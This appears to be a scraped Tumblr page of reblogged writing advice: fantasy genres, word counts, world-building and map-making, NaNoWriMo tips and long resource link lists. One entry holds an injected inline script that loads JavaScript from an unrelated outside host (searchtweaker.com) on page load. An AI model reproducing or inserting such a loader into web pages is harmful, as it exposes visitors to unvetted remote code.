The Writing Desk

A collection of my writings and musings. The Writer’s Ramblings

[fromtheslushpile]

HOW TO WRITE A QUERY LETTER

I figured I should probably elaborate on what a query is exactly and how to go about writing one.

Read More

[nimblesnotebook-blog]

BASICS:

Genres:

Alternate World: A setting that is not our world, but may be similar. This includes “portal fantasies” in which characters find an alternative world through their own. An example would be The Chronicles of Narnia.

Arabian: Fantasy that is based on the Middle East and North Africa.

Arthurian: Set in Camelot and deals with Arthurian mythology and legends.

Bangsian: Set in the afterlife or deals heavily with the afterlife. It most often deals with famous and historical people as characters. An example could be The Lovely Bones.

Celtic: Fantasy that is based on the Celtic people, most often the Irish.

Christian: This genre has Christian themes and elements.

Classical: Based on Roman and Greek myths.

Contemporary: This genre takes place in modern society in which paranormal and magical creatures live among us. An example would be the Harry Potter series.

Dark: This genre combines fantasy and horror elements. The tone or feel of dark fantasy is often gloomy, bleak, and gothic.

Epic: This genre is long and, as the name says, epic. Epic is similar to high fantasy, but has more importance, meaning, or depth. Epic fantasy is most often in a medieval setting.

Gaslamp: Also known as gaslight, this genre has a Victorian or Edwardian setting.

Gunpowder: Gunpowder crosses epic or high fantasy with “rifles and railroads”, but the technology remains realistic unlike the similar genre of steampunk.

Heroic: Centers on one or more heroes who start out as humble, unlikely heroes thrown into a plot that challenges them.

High: This is considered the “classic” fantasy genre. High fantasy contains the general fantasy elements and is set in a fictional world.

Historical: The setting in this genre is any time period within our world that has fantasy elements added.

Medieval: Set between ancient times and the industrial era. Often set in Europe and involves knights. (medieval references)

Mythic: Fantasy involving or based on myths, folklore, and fairy tales.

Portal: Involves a portal, doorway, or other entryway that leads the protagonist from the “normal world” to the “magical world”.

Quest: As the name suggests, the protagonist in this genre sets out on a quest. The protagonist most frequently searches for an object of importance and returns home with it.

Sword and Sorcery: Pseudomedieval settings in which the characters use swords and engage in action-packed plots. Magic is also an element, as is romance.

Urban: Has a modern or urban setting in which magic and paranormal creatures exist, often in secret.

Wuxia: A genre in which the protagonist learns a martial art and follows a code. This genre is popular in Chinese speaking areas.

Word Counts:

Word counts for fantasy are longer than other genres because of the need for world building. Even in fantasy that takes place in our world, there is a need for the introduction of the fantasy aspect.

Word counts for established authors with a fan base can run higher because publishers are willing to take a higher chance on those authors. First-time authors (who have little to no fan base) will most likely not publish a longer book through traditional publishing. Established authors may also have better luck with publishing a novel far shorter than that genre’s expected or desired word count, though first-time authors may achieve this as well.

A general rule of thumb for first-time authors is to stay under 100k and probably under 110k for fantasy.

Other exceptions to word count guidelines would be for short fiction (novellas, novelettes, short stories, etc.) and that one great author who shows up every few years with a perfect 200k manuscript.

But why are there word count guidelines? For young readers, it’s pretty obvious why books should be shorter. For other age groups, it comes down to the editor’s preference, shelf space in book stores, and the cost of publishing a book. The bigger the book, the more expensive it is to publish.

General Fantasy: 75k - 110k

Epic Fantasy: 90k - 120k

Contemporary Fantasy: 90k - 120k

Urban Fantasy: 80k - 100k

Middle Grade: 45k - 70k

YA: 75k - 120k (depending on sub-genre)

Adult: 80k - 120k (depending on sub-genre)

WORLD BUILDING:

A pseudo-European medieval setting is fine, but it’s overdone. And it’s always full of white men and white women in disguise as white men because around 85% (ignore my guess/exaggeration, I only put it there for emphasis) of fantasy writers seem to have trouble letting go of patriarchal societies. 

Guys. It’s fantasy. You can do whatever you want. You can write a fantasy that takes place in a jungle. Or in a desert. Or in a prairie. The people can be extremely diverse in one region and less diverse in another. The cultures should differ. Different voices should be heard. Queer people exist. People of color exist. Not everyone has two arms or two legs or the ability to hear.

As for the fantasy elements, you also make up the rules. Don’t go searching around about how a certain magic spell is done, just make it up. Magic can be whatever color you want. It can be no color at all. You can use as much or as little magic as you want.

Keep track of what you put into your world and stick to the rules. There should be limits, laws, cultures, climates, disputes, and everything else that exists in our world. However, you don’t have to go over every subject when writing your story.

World Building:

Fantasy World Building Questionnaire

Magical World Builder’s Guide

Creating Fantasy and Science Fiction Worlds

Creating Religions

Quick and Dirty World Building

World Building Links

Fantasy World Building Questions

The Seed of Government (2)

Guide to Science Fiction and Fantasy

Fantasy Worlds and Race

Water Geography

Alternate Medieval Fantasy Story

Writing Magic

Types of Magic

When Magic Goes Wrong

Magic-Like Psychic Abilities

Science and Magic

Creative Uses of Magic

Thoughts on Creating Magic Systems

Defining the Sources, Effects, and Costs of Magic

World Building Basics

Mythology Master Post

Fantasy Religions

Setting the Fantastic in the Everyday World

Making Histories

Matching Your Money to Your World

Building a Better Beast

A Man in Beast’s Clothing

Creating and Using Fictional Languages

Creating a Language

Creating Fictional Holidays

Creating Holidays

Weather and World Building 101

Describing Fantastic Creatures

Medieval Technology

Music For Your Fantasy World

A heterogeneous World

Articles on World Building

Cliches:

Grand List of Fantasy Cliches (most of this can be debated)

Fantasy Cliches Discussion

Ten Fantasy Cliches That Should Be Put to Rest

Seven Fantasy Cliches That Need to Disappear

Avoiding Fantasy Cliches 101

Avoiding Fantasy Cliches

Fantasy Cliches

Fantasy Cliche Meter: The Bad Guys

Fantasy Novelist’s Exam

Mary Sue Race Test

Note: Species (like elves and dwarves) are not cliches. The way they are executed are cliches.

CHARACTERS

Read More

[referenceforwriters]

So You Want To Get Published.

[cherylrainfield]

So true!

[tehawesomersace-deactivated2017]

This is true, but I find that there is a lot of crying and drinking and neurotically refreshing email missing from this flowchart.

[yahighway]

Our girl Kate Hart’s chart is making the rounds again!

[the-right-writing]

Things almost every author needs to research

How bodies decompose

Wilderness survival skills

Mob mentality

Other cultures

What it takes for a human to die in a given situation

Common tropes in your genre

Average weather for your setting

[clevergirlhelps]

yoooo

How bodies decompose

Wilderness survival skills

Mob mentality

Other cultures

What it takes for a human to die in a given situation

Common tropes for your genre

Average weather for your setting

[nimblesnotebook-blog]

THE WHOLE MAP

How much of your map you draw depends on you and your story. Start with what is important to the story and when you have time, you can draw maps for other places as well.

When you draw the main area, whether it be an island, a whole country, or just part of a country, start with the outline and geography. Draw the main borders, add some geography, and figure out its climate based on its position. I would suggest drawing borders within an area after drawing the geography, as rivers are often used as borders and they can help give your world a more natural look.

If you’re making up the whole world with all its land masses and whatnot, I would suggest creating one giant landmass, cutting it up, moving the pieces around a bit, and then adding and taking away some coastal lands to change the shape a bit.

When focusing on an area and with a story in which characters travel, it’s a good idea to figure out the distance so you know how far and how long your characters need to travel. To do this, compare the map to a real-world map and come up with a conversion for distance (ex: 1 inch = 15 miles).

If you have trouble coming up with borders, coastlines, rivers, mountain ranges, and other geographical and political locations, grab some maps or an atlas and trace small parts of real world places for your map. Put them all together and you’ve got a whole new world.

Stuff to Include:

Compass rose

Names of geographical places

Symbols to represent settlements

Bodies of water

Geographical places such as mountains and deserts

Important major roads

A legend for these symbols

The trail that your characters travel on

SETTLEMENTS:

If there are important settlements in your story, it’s a good idea to make a map for your own reference. Some settlements are (in order of smallest to largest): hamlets, villages, towns, and cities. Of course there are other settlements, but the terms used and what they mean vary by region.

Before you make your map, you should consider the following:

What is the population? How many people make up a village or a city is up to you and it should reflect the population and the population density of the fictional region you’re writing in.

Where is it located? The first permanent settlements started small and sprung into cities while farms and villages popped up around them. These settlements were also near water and other resources, which brings us to the age:

How old is it? The oldest settlements will be near water no matter how much technology is available in the time period you’re writing in. Older settlements were not built with the technology needed to transport water to far places. How old a settlement is will also affect the architecture and the artifacts and structures found nearby.

What is the layout? Newer settlements will typically have an organized layout based on the geography around the settlement. Older settlements may be organized as well, but are more likely to have roads built around permanent dwellings and buildings rather than the other way around. If your settlement is organized, build the roads first. If it’s not, mark structures first and build the roads around them.

Roads & Buildings:

Like mentioned above, the layout of your settlement depends on geography, roads, and structures.

It would be best to start with the geography, such as hills, bodies of water, and forests. Once you have the general geography of the settlement, you can either put the roads down or the structures.

Organized settlements should start with major roads. How many you have depends on the population size. If there are only a few hundred people in the settlement, there may only be one or two main roads with several minor roads. The main road should lead people to important areas of a settlement, such as a government building, the roads out of the settlement, and other non-residential buildings or structures. However, there can still be residential dwellings. The minor roads should come off the main road(s) can lead to anywhere from residences to parks. To differentiate between the main roads and minors roads, draw the main roads as thicker lines.

Unorganized settlements usually, but not always, start with the structures and without a plan of what this settlement will develop into. While organized and pre-planned settlements are more likely to cut into geographical areas rather than work around them. If your settlement has less grid-like roads and more random placements, start by placing all the structures of your town before drawing the roads.

These types of settlements will still have some type of structure. For example, non-residential buildings tend to be in one area with the occasional stay building. This is usually where a main road ends up. Residential buildings are more random. How far apart they are depends on the type of settlement and what the people at that residence do. Farmers will have more land while those who don’t work off the land or who work outside of their home may or may not have smaller properties.

Draw the oldest roads in unorganized settlements first. The oldest roads usually end up being major roads whether they are straight or curved. The minor roads will go next or there may be no minor roads at all.

Now you have to name your roads and buildings. You don’t have to name all of them, but it can help for reference and it can help build your world.

If you are building a city rather than a smaller dwelling, there are more tips for that here.

GEOGRAPHY:

Climates and Ecosystems:

World Climate Zones

World Biomes

Tundra

Tundra Biome

Taiga

Grasslands

Grassland Biome

Chaparral

Savanna

The Mediterranean Biome

Forests:

Deciduous Forest Biome

Forestry Terms

Tropical Rain Forests

Temperate Forest

Forest Biome Regions

The Forest Biome

Sand:

Deserts

Anatomy of a Beach

Types of Dunes

Desert Biome

The Formation of Deserts

How Are Deserts Made?

Where Are Deserts Found?

Caves:

Caves

Cave Terms

Sea Caves

Solution Caves

Volcanoes:

Anatomy of a Volcano

How Volcanoes Work

Water:

Waterfall Classification

River Anatomy

Anatomy of a River

How Rivers Are Formed Animation

Freshwater Biome

Marine Biome

Lake Origins

Water Geography

Mountains:

How Mountains are Formed

Mountain Ranges

The Alpine Biome

Alpine

More:

Nations and Culture 2.1: Giving Land a Face

Fantasy World Maps

Glossary of Geography Terms

Fantasy Map Photoshop Resources

Fantasy Map Brushes

[writingbox]

10 NaNoWriMo Tips

Get as far ahead of the daily target as you can in week 1 while you’re running on adrenaline. Week 2 is tough, and having a good margin will help you enormously.

Turn off the television. If you think you can write in front of the tv you are just kidding yourself.

Treat yourself for reaching goals. Put your favourite chocolate bar, cake, beer, or whatever your vice is, on the table in front of you while you write. Don’t allow yourself to have it until you’ve written your daily word target. It’ll also make your treat taste that much better…

Be strict on yourself. Sit down and tell yourself you will write for 20mins, or 30mins, or an hour. Actually do it. Turn off the tv, hide from other people and stay off the internet. Write.

Don’t do it alone. Whether you meet up with people in real life, or meet up with people online, just meet up with someone. Make friends, encourage each other, motivate each other, compete against each other. (And most importantly, drink coffee with each other)

Compete against your writing buddies. Each day, check the word counts of your writing buddies. Decide whose wordcount you’re going to try and beat, then do it.

Take part in word wars (also known as word sprints.) Either meet up with friends or play with people online. Agree on an amount of time (20 mins, 1 hour, 24 hours) and at the end of that time, see who’s written the most words. Good fun, a great way to make friends and super productive too.

Don’t take more than one day off in a row. NaNoWriMo is full-on, and we all need a break now and again. We also all have a life to live outside of NaNo. Don’t feel guilty about taking the odd day off. But if you make it two days off, it’ll be that much harder to get back into it. Three days, and you’ll really struggle. More days and you’re unlikely to get back to it at all.

Trust your characters. Whether you’re a strict outliner or more of a discovery writer, you can often find your characters rebel; leading your story off in a direction you didn’t expect. Let them explore, you may find out that they have had a better idea than you did! And if your characters do start telling their own story, be glad. It only means that you have written them well, and written them fully, managing to bring them completely to life.

Just keep going. So what if you’re 5,000 words behind? So what if you’re only managing 800 words a day? So what if it’s 11.30pm on November 30th and you’ve only written 30,000 words. Not everyone will hit their 50k target, but that doesn’t mean they’ve failed at all. By carrying on until the end of the month you have achieved an incredible feat no matter what your word count. The only true failure is giving up.

[offvocalremade]

I FOUND A REALLY NEAT THING FOR WRITERS OR FOR PEOPLE MAKING NEW OCS

[thewritersarchive]

This is an ultimate masterlist of many, many resources that could be helpful for writers/roleplayers.

→ GENERAL

Improvement

Improve Your Writing Habits Now

5 Ways to Add Sparkle to Your Writing

Getting Over Roleplaying Insecurities

Improve Your Paras

Why the Right Word Choices Result in Better Writing

4 Ways To Have Confidence in Your Writing

Writing Better Than You Normally Do

How’s My Driving?

Describing

A Description Resource

55 Words to Describe Someones Voice

Describing Skin Colors

Describing a Person: Adding Details

Emotions Vocabulary

90 Words For ‘Looks’

Be More Descriptive

Describe a Character’s Look Well

100 Words for Facial Expressions

To Show and Not To Tell

Words to Describe Facial Expressions

Describing Clothes

List of Actions

Tone, Feelings and Emotions

Masterlists

Writing Specific Characters

Character Guides

Writing Help for Writers

Ultimate Writing Resource List

Lots of RP Guides

Online Writing Resources

List of Websites to Help You Focus

Resources for Writing Bio’s

Helpful Links for Writing Help

General Writing Resources

Resources for Biography Writing

Mental Ilnesses/Disorders Guides

8 Words You Should Avoid While Writing

  Body Language

Body Language Cheat

Body Language Reference Cheat

Tips for Writers: Body Language

Types of Crying

Body Language: Mirroring

Grammar/Vocabulary

Words Instead of Walk (2)

Commonly Confused Adjectives

A Guide on Punctuation

Common Writing Mistakes

25 Synoms for ‘Expession’

How to: Avoid Misusing Variations of Words

Words to Keep Inside Your Pocket

The 13 Trickiest Grammar Hang-Ups

Other Ways to Say..

Proofreading

300+ Sophiscated and Underused Words

List of Misused Words

Words for Sex

100 Beautiful and Ugly Words

Words to Use More Often

Alternatives for ‘Smile’ or ‘Laugh’

Three Self Editing Tips

Words to Use Instead of ‘Walk’, ‘Said’, ‘Happy’ and ‘Sad’

Synonyms for Common Words

Alternatives for ‘Smile’

Transitional Words

The Many Faces and Meanings of ‘Said’

Synonyms for ‘Wrote’

A Case Of She Said, She Said

Writer’s Block

How to: Cure Writer’s Block

Some Tips on Writer’s Block

Got Writer’s Block?

6 Ways to Beat Writer’s Block

Tips for Dealing With Writer’s Block

→ APPLICATIONS

Application (Itself)

How to: Make That Application Your Bitch

How to: Make Your App Better

How to: Submit a Flawless Audition

10 Tips for Applying

Para (Sample)

Para Sample Ideas

5 Tips on Writing an IC Para Sample

Writing an IC Sample Without Escaping From the Bio

How to: Create a Worthy IC Para Sample

How to: Write an Impressive Para Sample

How to: Lengthen Short Para’s

Prompts

Drabble Stuff

Prompts List

Writing Prompts

Drabble Prompts

How to Get Into Character

Writing Challenges/Prompts

A Study in Writing Prompts for RPs

Para Prompts & Ideas

Writing Prompts for Journal Entries

A List of Para Starters

→ GUIDES

Personalities

Angry

Bad Asses

Bitches (2, 3, 4, 5, 6, 7)

Childishness

Emotional Detachment

Flirtatious

The Girl Next Door

Introverts (2)

Mean Persons (2)

Psychopaths

Party Girls

Rich (2) 

Rebels

Sarcasm

Serial Killers (2)

Shyness (2, 3)

Sluts

Villains (2)

Witt

Disorders

Disorders in general (2, 3, 4, 5) 

Attention Deficit Disorder

Antisocial Personality Disorder

Anxiety (2, 3, 4, 5) 

Avoidant Personality Disorder

Alice In Wonderland Syndrome

Bipolar Disorder (2, 3)

Cotard Delusions

Depression (2, 3, 4, 5, 6)   

Eeating Disorders (2, 3)

Facitious Disorders

Histrionic Personality Disorder

Multiple Personality Disorder (2)

Narcissistic Personality Disorder

Night Terrors

Kleptomania (2)

A Pyromaniac

Posttraumatic Stress Disorder

Psychopaths

Obsessive Compulsive Disorder (2)

Sex Addiction (2)

Schizophrenia (2)

Sociopaths (2)

Disabilities

Aspergers Syndrome

Apathy 

Someone Blind (2)

Cancer (2, 3)

Disability

Dyslexia

Muteness (2, 3)

Stutter

Jobs/Hobbies/Beliefs

Actors

Ballet Dancer (2)

Christianity

Foreigners

Gamblers

Hinduism

Hitmen

Satanism

Smokers

Stoners

Taoism

Journalists

Vegetarians

Drugs

Alcohol Influence (2, 3, 4, 5)

Cocaine Influence

Ecstasy Influence (2)

Heroin Use

LSD Influence

Marijuana Influence (2, 3)

Opiate Use

Locations

Australia

Boston

California (2, 3)

England/Britain (2, 3, 4, 5)

New York

Prison

London

The South (2)

Genders

Females (2)

Males (2)

Transgenders

Supernatural

Vampires

Witches (2)

Werewolves

Other

Amnesia

Children

A Death Scene

Loosing Someone (2)

Old Persons

Physical Injuries (2, 3)

Sexual Abuse (2)

Fight Scenes (2, 3, 4)

Horror

Torture

→ CREATING CHARACTERS

Biography Writing

Components of Your Biographies

Character sheet (2, 3)

Need Help With Character Creation?

How to: Draw Inspiration for Characters From Music

How to: Write a Biography (2, 3, 4, 5, 6, 7, 8, 9, 10, 11)

How to: Write a Fully Developed Character

How to: Create a Cast of Characters (2)

Writing an Original Character (2, 3)

Creating Believable Characters (2, 3)

Bio Formats (2, 3, 4, 5, 6, 7, 8, 9, 10)

Little Things You Can Add To Your Bios

Connections (2)

Titles

Bio Twists

Names

Female Names (2, 3, 4, 5)

Male Names (2, 3, 4, 5) 

Last Names  (2, 3, 4)

Personalities

Jung’s 16 Personality Types

Underused Character Personalities

Birth-Order: Personality Traits

The Difference Between Personality and Behavior

How to: Show a Characters Personality In a Paragraph

16 Character Traits

Underused Personalities

Personality Traits

Positive (2)

Negative (2, 3, 4, 5, 6, 7, 8)

Both (2, 3, 4, 5, 6, 7, 8)

Habits

Addictions and Bad Habits

Bad Habits

Character Habits

Character Quirks

Phobias (2)

Secrets

300 Possible Secrets to Give Your Characters

I Bet You Didn’t Know..

Character Plots And Secrets (2)

Celebrity Secrets

Secret Masterlist

Quotes

Song Lyrics Masterlist

Songs for Biographies

Favorite Quotes: TV and Movies

Favorite Quotes: Notable Authors

Favorite Quotes: Celebrities

Favorite Quotes: Popular Books (2)

Quotes From Songs

Character Quotes

Masterlist of Bio Lyrics

Masterlist of Bio Quotes

Masterlist of Song Lyrics

Biography Lyrics

A Masterlist of Quotes

+130 Quotes

The Quotation Garden

Mary Sue’s

A Mary Sue In The Inbox

Your Character Is A Sue, Not Just A Mary Or Gary

Not Writing A Mary Sue

→ WHILE ROLEPLAYING

Para Titles

100 Paragraph Titles

Para Titles - Song Title Edition (2,3)

A Whole Ton of Para Titles

350+ Song Titles

Para Titles For You (2)

Starters

How to: Create an interesting starter

How to: Make an Interesting Starter

Gif Conversations: A Guide

A Brief Guide to Starters

Interesting Gif Convesation Starters

Starters Masterlist

Gif Starter Posts

46 Interesting Gif Chat Starters

Ideas for Gif Chat Starters

Starters

Careers/Jobs

Masterlist: Jobs

Possible Careers for Characters

Artistic Occupations

Martha’s Vineyard Job Masterlist

Interesting Jobs

Locations/Settings/Activities

Para Ideas

Masterlist: Para Ideas

Top 50 Places for Starters

Writing Topics: Para Ideas

101 Date Ideas

68 Date Ideas

22 Date Ideas

Popular Places to Eat

Character Developement

Character Development Questionaire

Character Surveys

C.D. Questionaire

30 Day Character Development Meme

Character Development Questions (2)

100 Pt. Questionaire

IC and OOC Surveys

Online Test for Character Building

30 Days of Character Development

How to: Develop Characters

Get To Know Your Characters

→ ROMANCE

Romance (in general)

The Little Ways a Ship Gets Build

Roleplaying Relationships

8 Ways to Say I Love You

How to: Make a Set Ship RP Work

How to: Write a Romantic Scene

Do’s and Don’ts of Writing Relationships

Putting a Label on It

Synonyms for Love

Pregnancy (2, 3, 4, 5)

Smut

Smut Guide: Casual Sex

Smut Guide: For Beginners

How to: Write a First Time Sex Scene Romantically

How to: Smut - The Bare Bones

How to: Smut (For Virgins)

How to: Write Lesbian Smut

How to: Write Smut (2, 3)

How to: Write a Blowjob/Prepping for Smut

Smut Guides of Tumblr

Tips on Writing Sex Scenes

A Guide to Language in Smut

Domination and Submission

Making Love

A Smut Guide

Kisses

How to: Write a Kiss (2)

Different Types of Kisses

Writing Out the First Kiss

→ OTHER

Plot Writing

How to: Create the Best Plot for Your RP

How to: Create A Plot Outline in 8 Steps

How to: Write A Plot in 12 Steps

How to: Write A Quality Plot

How to: Spice Up Your Roleplay Plots

Components of Your Plot Page

Writing Up A Plot

Basics of Writing A Plot

Links for Plot Writing Help

Eight Unique Plot Ideas

Plot Twists

Situation Ideas (2, 3)

Guide to Plotting

Eras

Eras Masterlist

Everything You Need to Know Abut the 20’s

20’s Slang

Primary Sources on Ancient Civilizations

How to: Play the Greek Goddess ‘Harmonia’

How to: Roleplay In the Victorian Era

Victorian Dialogue

[lymeiree]

// <![CDATA[ (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})(); // ]]>

[odahime-moved]

Holy. Fucking. Shit.

[the-right-writing]

Things writers do

Writers read. 

Writers have hilarious conversations.

Writers cry.

Writers come up with amazing plotlines.

Writers dream.

Writers tell everybody in sight about their stories.

Writers think.

Writers notice little, interesting things to fit into their tales.

Writers smile.

And occasionally, at four in the morning, one minute before the caffeine wears off and two minutes before they go to bed, writers write.

[mendyourhead]

[mightierthanthesword]

etched vintage french ink bottle by www.vinegarandbrownpaper.co.uk

[nimblesnotebook-blog]

Writing fantasy can be a bit overwhelming, especially since you have to create an entire world (in most sub genres) when you’re already trying to create characters and plots. Here’s a guide and some questions to get you started to inspire.

World Building:

Physical:

Geography: Make a map of your world. Start with an outline of the country, kingdom, or nation you’re making. Is it an island? Is it landlocked? Does it share borders with other countries or regions? Once you have your basic shape, you can add more borders within for states, provinces, kingdoms, and more smaller regions. Now place it somewhere on a globe. This will affect the geography and the climate of your world. Look up the ecosystems and geography of lands similar to yours.

Local Setting: Where is the general area that your story takes place? What does it look like? What does it feel like? Is there not enough sun because of all the trees? Are there mountains? Is there a tide? What does it smell like? Is the air polluted in one area more than another? How does that affect breathing, smell, and daily life? Those who lived near the Chicago Stockyards when it was open breathed bad air their entire lives. Going to a place with cleaner air was quite an odd experience for them.

Ecosystem: What animals are most common? Have your characters hunted any species to the point of extinction? Which animals have been domesticated? What plants and herbs grow there? Rural characters should have knowledge of the nature around them and the uses of certain plants and animals.

Climate: Climate depends on the geographical location and other environmental factors. This will affect your characters’ lives significantly.

Regions: Does your story take place in one country? Or many? Either way, these places are going to have small regions within whether they are called states, provinces, kingdoms, or whatever you want. Or maybe there are no regions. Your characters may just ambiguously refer to places as “the east” or “the lakes” if there is a place heavily ridden with bodies of water. A fictional island in one my stories has a place that many refer to as “the southern branch” because it is the southern most part of the island and it juts out from the rest. If you have regions, make up their borders. Are there border laws? Are people allowed to pass freely? Are criminals allowed to pass freely? Are there no set borders, but a general idea of where one region starts and another ends? Are there physical borders (such as a wall or a fence)? Do customs vary from region to region?

Astronomy: Consider how many moons your world has and constellations. Does your world notice stars? Have they given names to stars and constellations?

Villages, Towns, and Cities: When creating a city, town, or village, draw a map and consider who lives there. Draw the geography first. Is there a river that runs through it? Are there hills and forests? Or a swamp? Draw the major roads and note where there may be bridges or tunnels. Add the minor roads next and draw in buildings and homes. Your town could even follow a certain shape, like a circle that has a major building in the center. Maybe, for a smaller village, there is only one road and homes spread out on either side. Or perhaps there are no roads at all.

Population: How many people live in certain areas? Is the population high or low? Consider the average family size and life expectancy. If your characters live for a long time and have a low infant mortality rate, they may have a high population. Or maybe they live long enough to realize high population can be a problem, and thus limit the amount of children they have. The population will affect available jobs, amount of towns and cities, and the environment. Think of the diversity in the population. Are there more men than women? More children than adults? What about the percentages of race?

Foreign Lands: What are the foreign lands? Are they as advanced as the place your story takes place? More advanced? Less advanced? Do they have a bad or good history with your land? What is the relationship between these lands? How do their cultures differ? Are the borders controlled? What do these places look like? Have borders ever changed? Do mountains or rivers make up the borders?

Read More

[writingquotes-deactivated201509]

Respect your characters, even the minor ones. In art, as in life, everyone is the hero of their own particular story; it is worth thinking about what your minor characters’ stories are, even though they may intersect only slightly with your protagonist’s.

Sarah Waters (via jaimecallahan)

[notbecauseofvictories]

HOW TO WRITE AN ESSAY

Recently, an anon came into my inbox asking for advice on writing essays for class. And since I am a liberal arts major, and good for so little else but writing a lot of papers, I thought I’d share some knowledge. So pull up a chair, tumblr, and I shall take you by the hand and lead you through the perils and pitfalls of paper writing!

I. WHAT THE HELL IS AN ESSAY ANYWAY????

It’s an argument.

That’s it, really. Writing an essay is about constructing an argument. You’re trying to convince the audience that whatever you’re saying is sound—a philosophy term that means “both accurate and logical." You are trying to convince your audience that whatever you’re saying is not only true, but that it can be arrived at through logical thinking.

This means that in every essay, you have to 1.) say what it is you’re arguing for, and 2.) give evidence as to why your reader should believe you. Yes, even if it’s just a research paper about the life of William Faulkner, you still have to make an argument—though in that case it’s “This is how Faulkner’s life was and here is how I know."

So…that’s it, that’s my whole explanation. An essay is just saying what it is you’re arguing for, and then giving evidence as to why the reader should believe you.

…of course those things aren’t as easy as they sound.

Read More

[beyondfullmetal]

So You Want to Write a Fantasy: Your Writer's Arsenal

Anonymous asked:

I really enjoy your So You Want To Write A Fantasy posts. Do you have any recommendations of good examples of fantasy/sci-fi books or movies that I can check out?

I’m going to preface this by saying: Yes, I do. I have not read everything, but there’s plenty of things out there that have been recommended to me, or read by others or places that have good recommendations. I like to be upfront with people - I am half White (Mayflower) and Half Hispanic (Mexican American/Yaqui descent). It has been infinitely easier for me to connect in the Fantasy realms of my WASP American heritage than my Mexican American heritage. I think I’m hyper aware of how race is portrayed in Fantasy because I only have half of myself represented in the media. My mother (Mexican American) grew up reading and watching White Fantasy and Sci-Fantasy, which in turn, is what I read/watched.

My knowledge is limited, but I think I can give you some ideas; mostly resources that come up with these such lists plus some links to Authors of Color and a Few Specific Books:

Black Science Fiction Society

Mind Blowing Sci-Fi by POC

TOR’s Mindblowing SF by Women and POC

ColorLines: The Ultimate 21st Century POC SF List 

SF/Fantasy by POC

50 Books by Queer People of Color

50 Books POC DeLiCious Lists

Feminist SF Net

SF Bookswap

Dead Bro Walking (likely to have lists and commentary somewhere…)

ABW - Media SF + Fantasy tag

50 Books POC Lists

50 Books Community Recs

American Indians in Children’s Lit

A reflection on the 50_POC Challenge + List

Tu Books (A SF/Fantasy Imprint for Children’s & YA Novels)

African American Science Fiction

Speculative & SF in Color (comments are Recs)

SF Works by People of Color

So Long Been Dreaming: Post-Colonial SF & Fantasy (an Anthology)

AFRO Sci-Fi

The Carl Brandon Society (Spec. Fiction)

SBattle AFRO Futurism/SF

Ursula K Le Guin

Laurence Yep (Asian Children’s/YA Fantasy & Historic Fiction)

Diversity Rollcall: SF/Fantasy

Color Online

SFF YA POC list

Fantasy Magazine’s Recommended Reading List: Characters of Color

Cosmos Latinos: A SciFi Anthology

Dark Matter: Reading the Bones (an Anthology)

YA Fantasy of Color

Fangs for the Fantasy: Reviews from a SJ perspective

Seeking Avalon’s POC Carnival

Animation in Asia

DesiLit Magazine

Metempsychosis of the Machine: Science Fiction in the Halls of Karma.

Secret Identities Graphic Anthology of Asian American Superheroes

Also check out these Asian Indie Comic Creators: Bryan Lee O’Malley, Kean Soo, E.J. Su, Amy Kim Ganter, Kazu Kabuishi, Gene Yang

Seriously check out Gene Yang’s American Born Chinese

AfriComics

Khmer Comics (Cambodian Comic Reads)

Magical Realism is Fantasy written in Spanish.

Stealth (Comic)

Race in American Science Fiction  

Black Space: Imagining Race in Sci-Fi Film

Tropes of Women of Color in Sci-Fi

Race & Reality in TV and SciFi

Race in Space: The Representation of Ethnicity in “Star Trek” and “Star Trek: The Next Generation”

Star Trek and History: Race-ing toward a White Future

Gender and Sexuality in Star Trek: Allegories of Desire in the Television Series and Films

Decoding Gender in Science Fiction

Native American Author Project

On Eurocentricity in Fantasy Fiction

YA Fantasy Diversity

Black & Brown Characters in Anime & Manga

East of Elvendom: POC in SF/F Art

5 Sci-Fi movies really about Racism

10 Reasons why Steampunk Fans should watch Avatar: The Last Airbender

Full Metal Alchemist: Brotherhood (for the portrayal of the Ishvalans as parallel to the Japanese Ainu people and for the Buddhist undertones). Race is important in this series.

Dr. Who (specifically 10th Doctor for Martha Jones. Frankly she’s the only reason why I continued watching.)

Misfits (TV Series)

Attack the Block (Urban Zombie Sci-fi)

Star Trek (different series for different characters of color as well as the movies)

Read Racialicious for POC in pop culture. (they watch a lot of True Blood)…

Heroes before the show went downhill

Fringe, especially for Astrid

Sailor Moon for an all Japanese cast of badass girls.

Miyazaki anything but I insist you watch Spirited Away and Princess Mononoke

John Woo’s Red Cliff (the international version. It’s not quite fantasy, it’s more like a Chinese 300/Troy. Badass anyways.)

 Aida | One By One

Mulan (Disney version AND the Chinese film from 2009)

Steam Boy

Hulu by genre

Netflix - > Foreign -> Fantasy & Sci-Fi

Eon & Eona (which I have not finished reading but started, and liked.) The white author goes into the books she read for research on her webpage here.

Whew.

But wait, we’re not done. Here’s some more things to get you started. This links focus on Myth, Legend, History, and Folktales:

Warriors: Asian Women

Warriors: African Women

The Rest of ColorQ’s Articles which include: Same-sex/Female history and culture

The Beautiful Way of the Samurai: Same-sex love

Gay Tales of the Samurai

Comrade Loves of the Samurai

The Pillowbook of Sei Shonagun

Tales of Genji

Monkey: Folktale of China

Male Colors: The Construction of Homosexuality in Tokugawa Japan 

Passions of the Cut Sleeve: Homosexuality in China

The 3 Kingdoms (China)

Journey to the West (China)

The Ramayana (India)

The Epic of Giglamesh

Eskimo Folktales

Favorite Folktales Around the World

Myths and Legends of the Sioux

Tibetan Buddhist Folktales

Joseph Campbell’s Mythology books

Myths and myth-makers: Old Tales and Superstitions Interpreted by Comparative Mythology 

The Mythologies Of Ancient Mexico And Peru

The Popol Vuh (Mayan)

Egyptian Mythology

African American Folktales: Stories from Black Traditions in the New World (Pantheon Fairy Tale & Folklore Library)

Diné Bahane’: The Navajo Creation Story

An Illustrated Dictionary of Gods & Symbols (Ancient Mexico and the Maya)

Inanna: From the Myths of Ancient Sumer 

African Folktales (The Pantheon Fairy Tale and Folklore Library)

Encyclopedia Mythica

Useful Notes

Obakemono

“Pantheon” Myths Legend Collections.

